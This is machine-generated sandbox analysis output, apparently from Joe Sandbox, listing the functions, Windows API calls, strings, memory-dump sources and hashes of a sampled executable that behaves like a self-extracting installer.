Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: DloadSection$AccessExceptionProtectRaiseReleaseWrite$ErrorLastLibraryLoad
String ID: H
API String ID: 3432403771-2852464175
Opcode ID: cf3fc932a6b7fb7fc9ef8320b4dd67bfc8d7ec91281715f792326570f1d4a57f
Instruction ID: 3eefbbfa8ec3b6520450c0c99b96087d21b042db8ad6deff58492e69e8342766
Opcode Fuzzy Hash: cf3fc932a6b7fb7fc9ef8320b4dd67bfc8d7ec91281715f792326570f1d4a57f
Instruction Fuzzy Hash: BD91693AA05B928AEB10CF65D8486A833B5FF08B99F094435DE4D6774AEF3CE855C340

Function 00007FF65594F4E0 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 285
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32 ref: 00007FF65594F747
IsWindowVisible.USER32 ref: 00007FF65594F777
ShowWindow.USER32 ref: 00007FF65594F786
WaitForInputIdle.USER32 ref: 00007FF65594F797
GetExitCodeProcess.KERNEL32 ref: 00007FF65594F7BD
CloseHandle.KERNEL32 ref: 00007FF65594F7E7
ShowWindow.USER32 ref: 00007FF65594F83F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594F8FB

Strings

Install, xrefs: 00007FF65594F684
.exe, xrefs: 00007FF65594F7F2
p, xrefs: 00007FF65594F529
.inf, xrefs: 00007FF65594F675

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_invalid_parameter_noinfo_noreturn
String ID: .exe$.inf$Install$p
API String ID: 148627002-3607691742
Opcode ID: a9537e312442e646dd9c9462cba9269d27ba10dbd49a782409ce5fb443879e24
Instruction ID: d2441a335ce06a1475988314056b26a3834a03500f4dce0b0dd5763dfab05fd4
Opcode Fuzzy Hash: a9537e312442e646dd9c9462cba9269d27ba10dbd49a782409ce5fb443879e24
Instruction Fuzzy Hash: BDC1706AF18682D5FB10CB25D95827923A1FF85F88F084035DA9DA77A6DF3CEC958300

Function 00007FF65594F0A4 Relevance: 16.6, APIs: 11, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF65594AE1C: PeekMessageW.USER32 ref: 00007FF65594AE32
Part of subcall function 00007FF65594AE1C: GetMessageW.USER32 ref: 00007FF65594AE49
Part of subcall function 00007FF65594AE1C: IsDialogMessageW.USER32 ref: 00007FF65594AE60
Part of subcall function 00007FF65594AE1C: TranslateMessage.USER32 ref: 00007FF65594AE6F
Part of subcall function 00007FF65594AE1C: DispatchMessageW.USER32 ref: 00007FF65594AE7A

GetDlgItem.USER32 ref: 00007FF65594F0E3
ShowWindow.USER32 ref: 00007FF65594F109
IsDlgButtonChecked.USER32 ref: 00007FF65594F11E
IsDlgButtonChecked.USER32 ref: 00007FF65594F136
IsDlgButtonChecked.USER32 ref: 00007FF65594F157
IsDlgButtonChecked.USER32 ref: 00007FF65594F173
IsDlgButtonChecked.USER32 ref: 00007FF65594F1B6
IsDlgButtonChecked.USER32 ref: 00007FF65594F1D4
IsDlgButtonChecked.USER32 ref: 00007FF65594F1E8
IsDlgButtonChecked.USER32 ref: 00007FF65594F212
IsDlgButtonChecked.USER32 ref: 00007FF65594F22A

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ButtonChecked$Message$DialogDispatchItemPeekShowTranslateWindow
String ID:
API String ID: 4119318379-0
Opcode ID: c58ef51af4c11ae469b78d40ba7290d4e9656f32b0895ce54e4debee0d1a06d9
Instruction ID: f84913a357688a68e2c9d0d1995984ab345946b6a9cf62c872855684edccc12b
Opcode Fuzzy Hash: c58ef51af4c11ae469b78d40ba7290d4e9656f32b0895ce54e4debee0d1a06d9
Instruction Fuzzy Hash: DB41C339B1478286F7108F61E818BAA2360FB89F9CF480139DD1A67B9ACF3DDC458744

Function 00007FF65592EF10 Relevance: 11.0, APIs: 7, Instructions: 453COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592F542
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592F548
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592F554
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592F55A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592F560
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592F56C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592F572

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 39ec4a74e49df8f56e32db411fcadac0f579ee807ced4d6d4e98762d9bdd5929
Instruction ID: 257ca17fec3e84e742434bf00ede5fdf3ebed8230426c0d2881613d67e690119
Opcode Fuzzy Hash: 39ec4a74e49df8f56e32db411fcadac0f579ee807ced4d6d4e98762d9bdd5929
Instruction Fuzzy Hash: C812B36AF08B8184EB10CB65D8492BD6361EB45B9CF440235DA5CA7ADBDF3CD989C340

Function 00007FF6559324C0 Relevance: 9.2, APIs: 6, Instructions: 164
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF65593259B
GetLastError.KERNEL32 ref: 00007FF6559325AE
CreateFileW.KERNEL32 ref: 00007FF65593260E
GetLastError.KERNEL32 ref: 00007FF655932617
SetFileTime.KERNEL32 ref: 00007FF6559326C9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655932736

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: File$CreateErrorLast$Time_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3536497005-0
Opcode ID: 3a28dd0dcfd7b89b689d9fe25ecc7464786bdc3a32dccfb94d5fbab1a7314792
Instruction ID: ac0281bbecca6cd03563e1d27caebfeba21feeb66a1736a925a8d77c6f5fa6d4
Opcode Fuzzy Hash: 3a28dd0dcfd7b89b689d9fe25ecc7464786bdc3a32dccfb94d5fbab1a7314792
Instruction Fuzzy Hash: 63611A6AA1878185EB208B69E40836EA7B1FB84BACF140335CF6D53AD5CF3DD858C740

Function 00007FF65594B014 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadBitmapW.USER32 ref: 00007FF65594B02A
GetObjectW.GDI32 ref: 00007FF65594B05B
DeleteObject.GDI32 ref: 00007FF65594B095
DeleteObject.GDI32 ref: 00007FF65594B0C5

Part of subcall function 00007FF655948624: FindResourceW.KERNELBASE ref: 00007FF65594863D
Part of subcall function 00007FF655948624: SizeofResource.KERNEL32 ref: 00007FF655948659
Part of subcall function 00007FF655948624: LoadResource.KERNEL32 ref: 00007FF655948673
Part of subcall function 00007FF655948624: LockResource.KERNEL32 ref: 00007FF655948685
Part of subcall function 00007FF655948624: GlobalAlloc.KERNELBASE ref: 00007FF6559486A6
Part of subcall function 00007FF655948624: GlobalLock.KERNEL32 ref: 00007FF6559486BB
Part of subcall function 00007FF655948624: GdipAlloc.GDIPLUS ref: 00007FF6559486FE
Part of subcall function 00007FF655948624: GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF655948769
Part of subcall function 00007FF655948624: GlobalUnlock.KERNEL32 ref: 00007FF65594878C
Part of subcall function 00007FF655948624: GlobalFree.KERNEL32 ref: 00007FF655948795

Strings

], xrefs: 00007FF65594B063

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: GlobalResource$Object$AllocBitmapDeleteGdipLoadLock$CreateFindFreeFromSizeofUnlock
String ID: ]
API String ID: 2347093688-3352871620
Opcode ID: 2f79d63664e457f963bfbd157e1c525b341384e02eb8e860e1f42d2dee528bbf
Instruction ID: e5e656c6ddb9065eb70b0d4c22f99c026ed1285c07e58ca7a7066fc534cc252b
Opcode Fuzzy Hash: 2f79d63664e457f963bfbd157e1c525b341384e02eb8e860e1f42d2dee528bbf
Instruction Fuzzy Hash: D2115429B0D6C282EE649B21965C2795392BF89FC9F0C0434D9AD97B9BDF2DEC048601

Function 00007FF65594FE24 Relevance: 7.5, APIs: 5, Instructions: 29
windowsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF65594FE41
GetMessageW.USER32 ref: 00007FF65594FE58
TranslateMessage.USER32 ref: 00007FF65594FE63
DispatchMessageW.USER32 ref: 00007FF65594FE6E
WaitForSingleObject.KERNEL32 ref: 00007FF65594FE7C

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Message$DispatchObjectPeekSingleTranslateWait
String ID:
API String ID: 3621893840-0
Opcode ID: eb57a341668d454e4e6cd52f39bb1811463ddcab187ea95c48cb89abc8d18535
Instruction ID: 7efe8acff4a1233c34a2d5fe587a70727923a58063bdfd23e7046c5f3a8a8ea1
Opcode Fuzzy Hash: eb57a341668d454e4e6cd52f39bb1811463ddcab187ea95c48cb89abc8d18535
Instruction Fuzzy Hash: 2DF06229F3858782F7108720E4ACB762251FFE4F09F885030E54ED5996DF2CE949C700

Function 00007FF65594AE1C Relevance: 7.5, APIs: 5, Instructions: 27
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF65594AE32
GetMessageW.USER32 ref: 00007FF65594AE49
IsDialogMessageW.USER32 ref: 00007FF65594AE60
TranslateMessage.USER32 ref: 00007FF65594AE6F
DispatchMessageW.USER32 ref: 00007FF65594AE7A

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 8f901ab8bb575df3ccfb48a5cb3294f091b017f84468599a2020223c8e70b7dc
Instruction ID: c08453c097b06bb08207ed9dc1793f72972742a35b367fc6cff71e6773c44190
Opcode Fuzzy Hash: 8f901ab8bb575df3ccfb48a5cb3294f091b017f84468599a2020223c8e70b7dc
Instruction Fuzzy Hash: FDF0EC29B3858282FB509B20E9A9A362361BFD0F09F885435E55E96855DF2CE908CB01

Function 00007FF6559491E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32 ref: 00007FF655949211
SHAutoComplete.SHLWAPI ref: 00007FF655949255

Part of subcall function 00007FF6559413C4: CompareStringW.KERNEL32 ref: 00007FF6559413E3

FindWindowExW.USER32 ref: 00007FF65594923F

Strings

EDIT, xrefs: 00007FF65594921B, 00007FF655949233

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 5198dd27efd6ef2cfe81d4e1a42d30dc263c523227a297f5f4c02164b2b5e029
Instruction ID: 0fe9bf8899dd0480aaa2056ffa1ad84b0dd5be788b51534c3f98a7dea920b08d
Opcode Fuzzy Hash: 5198dd27efd6ef2cfe81d4e1a42d30dc263c523227a297f5f4c02164b2b5e029
Instruction Fuzzy Hash: 11013B65B147C3C1FA309751E8287B56350BF99F48F4C1035C95D9A656DF2CED498740

Function 00007FF655932CE0 Relevance: 6.1, APIs: 4, Instructions: 136
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(00007FF655938C9A), ref: 00007FF655932D22
WriteFile.KERNEL32 ref: 00007FF655932D6C
WriteFile.KERNELBASE ref: 00007FF655932D9A

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 36bd0183a846d9ba9312903715bf2ef21d1db3e0abb52a3d50b28083c89a0b57
Instruction ID: ca28d5a30d76aa40f9223a9fe8c98ffa380f9448ef860dcfb0aaf9e99ad166d6
Opcode Fuzzy Hash: 36bd0183a846d9ba9312903715bf2ef21d1db3e0abb52a3d50b28083c89a0b57
Instruction Fuzzy Hash: B051086AA196C282EE10CB65D44877A6350FF44F98F580131EA1E96A92DF3CEC89C340

Function 00007FF6559503E0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

SetDlgItemTextW.USER32 ref: 00007FF655950556
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559505C1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559505C7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559505CD

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ItemText
String ID:
API String ID: 3750147219-0
Opcode ID: deaa3fd9212449262d54ddd00df38e066acfc98fdf544c89e7b1965c67d44595
Instruction ID: b362aab1fd884c46035e7c05d895cb45f22ff6fb745eb83cfc0ae586962f7035
Opcode Fuzzy Hash: deaa3fd9212449262d54ddd00df38e066acfc98fdf544c89e7b1965c67d44595
Instruction Fuzzy Hash: 1651A06AF1469284FF009BA5D8493AD2362BF45F99F480635DA2CA6BD7DF6CE851C300

Function 00007FF655933684 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,00000000,?,00007FF65593309D), ref: 00007FF6559336CE
CreateDirectoryW.KERNEL32 ref: 00007FF655933733
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF65593309D), ref: 00007FF655933791
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559337CE

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2359106489-0
Opcode ID: 698fab9aec9050558ccefc1a665aee4a6282d07cda4dc8d84b776e202d03389b
Instruction ID: 680db2c49c833551cc8403a5cddc86ceb25b77b9ec716ddd6d2bb875b72936e2
Opcode Fuzzy Hash: 698fab9aec9050558ccefc1a665aee4a6282d07cda4dc8d84b776e202d03389b
Instruction Fuzzy Hash: DD31C76AA5C6C281EA209B29944D1796391FF84F98F5D0231EE9ED2796DF3CDC45C200

Function 00007FF655952D6C Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF655952D7B

Part of subcall function 00007FF6559527FC: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF65595281E

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF655952D90
__scrt_release_startup_lock.LIBCMT ref: 00007FF655952DFE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF655952E51

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: f380b52e8f95e6a0f24ce785192d8cb773bc143ddf3d62aee805abe4fb8ed354
Instruction ID: 3fe1d729a1c84be5b1f9e38a03e75773f2933b06b2a559d4dc45464eca0bd477
Opcode Fuzzy Hash: f380b52e8f95e6a0f24ce785192d8cb773bc143ddf3d62aee805abe4fb8ed354
Instruction Fuzzy Hash: 4F310C29A0D2C241FE54ABA4A45D3B953919F41F4EF4C1434EA4EFB6D3DF2CAC288291

Function 00007FF655932320 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,00000000,00007FF655932927,?,00100000,?,00000001,00000000,00000000,?,00007FF6559314C1), ref: 00007FF655932348
ReadFile.KERNELBASE ref: 00007FF655932367
GetLastError.KERNEL32 ref: 00007FF65593239B
GetLastError.KERNEL32 ref: 00007FF6559323BA

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 5dece825d5be91adec6864fa12bb564f4e3b5809c08bfde6ef0babe01e3581d0
Instruction ID: 6eefc07f3e3139b0e5378ad05a6e95b5e9504f21b0201f20d3abbb866b5c8175
Opcode Fuzzy Hash: 5dece825d5be91adec6864fa12bb564f4e3b5809c08bfde6ef0babe01e3581d0
Instruction Fuzzy Hash: D5219229A0C6D2C1EE605B91A408379A3A0FB45F9CF1D4530DA5DE668ACF7CDC858751

Function 00007FF65593E948 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65593ECD8: ResetEvent.KERNEL32 ref: 00007FF65593ECF1
Part of subcall function 00007FF65593ECD8: ReleaseSemaphore.KERNEL32 ref: 00007FF65593ED07

ReleaseSemaphore.KERNEL32 ref: 00007FF65593E974
FindCloseChangeNotification.KERNELBASE ref: 00007FF65593E993
DeleteCriticalSection.KERNEL32 ref: 00007FF65593E9AA
CloseHandle.KERNEL32 ref: 00007FF65593E9B7

Part of subcall function 00007FF65593EA5C: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF65593E95F,?,?,?,00007FF65593463A,?,?,?), ref: 00007FF65593EA63
Part of subcall function 00007FF65593EA5C: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF65593E95F,?,?,?,00007FF65593463A,?,?,?), ref: 00007FF65593EA6E

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: CloseReleaseSemaphore$ChangeCriticalDeleteErrorEventFindHandleLastNotificationObjectResetSectionSingleWait
String ID:
API String ID: 2143293610-0
Opcode ID: 7c4c69b688bb09167c3d8ec6f4195a818a409db0987586a56ae23aa503e7e0cd
Instruction ID: 598afac925e4bc62a718a7a5b6fd41223d02f646003f0522d963ba5c1544245c
Opcode Fuzzy Hash: 7c4c69b688bb09167c3d8ec6f4195a818a409db0987586a56ae23aa503e7e0cd
Instruction Fuzzy Hash: 5101213AA14A81D3E6449B21D5482AD6360FB84B84F044035DB5DA3666CF3DE8B88780

Function 00007FF65593EAA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

